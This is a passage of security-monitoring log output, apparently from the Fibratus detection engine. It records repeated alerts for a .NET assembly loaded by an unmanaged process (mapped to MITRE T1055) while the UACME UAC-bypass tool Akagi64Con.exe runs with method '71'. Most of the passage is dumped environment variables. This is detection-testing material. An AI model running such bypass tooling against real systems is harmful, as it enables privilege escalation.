Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\sgen\0fb21e6b9c22eb734933c0cf68781464\sgen.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11015289 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.4103688 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\sgen\0fb21e6b9c22eb734933c0cf68781464\sgen.ni.exe, image_size➜ 86016, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\sgen\0fb21e6b9c22eb734933c0cf68781464\sgen.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11015289 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.4103688 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\sgen\0fb21e6b9c22eb734933c0cf68781464\sgen.ni.exe, image_size➜ 86016, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.seq.link: 9665569474375319552, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost\09dbc31dafee4ca41722bf76871e11ac\testhost.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022427 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8740108 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost\09dbc31dafee4ca41722bf76871e11ac\testhost.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: 